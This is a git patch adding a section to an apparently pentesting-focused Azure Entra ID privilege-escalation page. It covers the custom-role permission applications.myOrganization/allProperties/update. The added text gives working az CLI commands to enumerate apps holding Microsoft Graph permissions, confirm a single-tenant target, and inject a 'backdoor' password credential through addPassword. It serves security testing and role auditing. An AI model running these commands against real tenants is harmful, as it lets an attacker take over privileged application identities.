From f2f340de8342064caac25787fab8522456bdbddd Mon Sep 17 00:00:00 2001 From: Marc Gonzalez Amores <57719399+marcgoam@users.noreply.github.com> Date: Fri, 12 Jun 2026 11:02:33 +0200 Subject: [PATCH] Add applications.myOrganization/allProperties/update privesc technique ## Summary Adds a new privilege escalation technique to the EntraID privesc page, covering `microsoft.directory/applications.myOrganization/allProperties/update`. This permission is not present in any built-in role but commonly appears in custom roles delegated to application teams under the assumption that the `.myOrganization` subtype scopes the action to internal-only apps. Since `allProperties` includes `passwordCredentials` and `keyCredentials`, the permission is functionally equivalent to credential-injection capability against every single-tenant app in the tenant. ## Why this matters The existing page already documents `applications/credentials/update`. The new section complements it by surfacing the custom-role-scoped variant, which is underdocumented and easy to miss during privileged-role audits, admins filter on built-in privileged roles and miss custom roles carrying this single action. ## Testing The full attack chain was reproduced end-to-end in an isolated Microsoft 365 Business Premium trial tenant: 1. Created a custom role with `applications.myOrganization/allProperties/update` as the only action. 2. Assigned it to a non-privileged victim user. 3. From the victim's session, ran the documented commands to inject a credential into a target single-tenant app and successfully authenticated as the application via `az login --service-principal`. ## References - https://learn.microsoft.com/entra/identity/role-based-access-control/custom-available-permissions - https://learn.microsoft.com/entra/identity/role-based-access-control/permissions-reference - https://learn.microsoft.com/graph/api/application-addpassword --- .../az-entraid-privesc/README.md | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index aac907857..6e024262c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -65,6 +65,43 @@ az ad app credential reset --id --append az ad app credential reset --id --create-cert ``` +### `microsoft.directory/applications.myOrganization/allProperties/update` + +This permission grants update to **every writable property** of any **single-tenant** application registration (`signInAudience = AzureADMyOrg`), including `passwordCredentials` and `keyCredentials`. It is marked `IsPrivileged: true` in the catalog but is **not** present in any built-in role — it shows up almost exclusively in **custom roles** an admin creates to delegate "manage our internal apps" without realizing the subtype `.myOrganization` happens to scope the action onto exactly the set of apps most likely to hold privileged Microsoft Graph permissions. + +- Enumerate apps with privileged Microsoft Graph permissions consented: + +```bash +# SPs with at least one Microsoft Graph app role assigned +GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv) +az rest --method GET \ + --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \ + --query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \ + -o table + +# Resolve a RoleId to the human-readable permission name +az ad sp show --id 00000003-0000-0000-c000-000000000000 \ + --query "appRoles[?id==''].value" -o tsv +``` + +- Confirm the target is single-tenant (inside the `.myOrganization` subtype scope): + +```bash +az rest --method GET \ + --uri "https://graph.microsoft.com/v1.0/applications(appId='')" \ + --query "{audience:signInAudience, name:displayName}" +# audience must be "AzureADMyOrg" +``` + +- Inject a credential into the target app — the only privileged step in the chain: + +```bash +az rest --method POST \ + --uri "https://graph.microsoft.com/v1.0/applications(appId='')/addPassword" \ + --headers "Content-Type=application/json" \ + --body '{"passwordCredential":{"displayName":"backdoor"}}' +``` + ### `microsoft.directory/applications.myOrganization/credentials/update` This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.